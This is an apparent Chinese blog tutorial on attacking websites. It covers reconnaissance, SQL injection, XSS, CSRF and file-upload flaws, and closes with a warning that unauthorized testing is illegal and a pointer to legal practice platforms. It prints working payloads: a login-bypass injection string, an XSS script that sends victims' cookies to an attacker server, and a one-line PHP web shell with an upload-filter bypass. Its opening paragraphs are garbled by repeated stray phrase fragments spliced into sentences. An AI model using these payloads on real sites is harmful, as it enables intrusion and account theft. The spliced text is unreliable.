如何攻击一个网站教程

2021年冬天，何攻我蹲在一个漏洞赏金项目里，击个教程盯着某个电商网站的网站登录接口。三小时前，何攻我提交了一个SQL注入点，击个教程拿到了他们后台数据库的网站只读权限。这不是何攻电影里的黑客场景——没有绿色代码雨，没有炫酷的击个教程终端动画，只有Burp Suite里反复重放的网站HTTP请求，和一杯凉透的何攻咖啡。

攻击网站这件事，击个教程本质上是网站找“意外”。开发者写代码时假设用户会乖乖填表单，何攻你偏不。击个教程你往输入框里塞引号、网站塞分号、塞一段JavaScript，看它会不会把数据库结构吐出来。比如那个登录框，用户名填 ' OR 1=1 --，密码随便。如果后端没做参数化查询，SQL语句就变成了 SELECT * FROM users WHERE username='' OR 1=1 --' AND password='...'。条件恒真，注释符吃掉后半句，你直接以第一个用户身份登录。这招二十年前就有人用，现在依然能打穿一堆小网站。

信息收集比动手更重要

别急着敲键盘。先看。用 whois 查域名注册信息，用 nslookup 看IP，用 dirsearch 扫目录。我见过一个后台路径是 /admin_backup_2020/，没做任何认证，直接能下载整个数据库备份。还有一次，目标网站的主站防得严实，但开发人员把 .git 文件夹传到了生产环境。访问 /.git/config，整个源码仓库就躺在那里。这些不是高深技术，是粗心。

端口扫描也值得做。nmap -sV 跑一遍，看有没有开 3306（MySQL）、6379（Redis）、27017（MongoDB）。很多云服务器默认只开80和443，但运维图省事，把数据库端口暴露在公网，密码还是空或 123456。连上去，show databases;，数据全在眼前。

XSS 和 CSRF 是另一条路

SQL注入打的是服务器，XSS打的是其他用户。你在评论区发一段 <script>fetch('https://你的服务器/steal?cookie='+document.cookie)</script>。如果网站没做输出编码，每个看到这条评论的人，cookie都会送到你手里。拿到管理员cookie，你就能以他的身份操作后台。CSRF更阴——诱导管理员点击一个链接，链接指向 https://目标网站/admin/deleteUser?id=123。如果后台没加CSRF token，这个请求就会带着管理员的登录态执行。

文件上传漏洞也常见。上传一个 .php 文件，内容写 <?php system($_GET['cmd']); ?>。如果服务器没限制后缀，你就能通过 ?cmd=ls 执行任意命令。我试过一个站点，只检查了Content-Type，把 shell.php 改成 shell.jpg 上传，再用 /.htaccess 把jpg当php解析，直接拿shell。

别碰真实目标

上面说的每一条，在未授权的情况下都是犯罪。刑法第285条、286条写得清楚。想练手，去 HackTheBox、TryHackMe、PortSwigger Web Security Academy。这些平台给你合法靶机，随便打。或者参加漏洞赏金项目，像HackerOne、Bugcrowd，厂商授权你测，找到漏洞还给钱。我那个SQL注入最后拿了800美元，厂商三天内修了。

攻击网站的技术栈很宽，从SQL注入到反序列化，从SSRF到原型链污染。但核心逻辑没变：找开发者没想到的输入，让系统做它不该做的事。工具会过时，这个思路不会。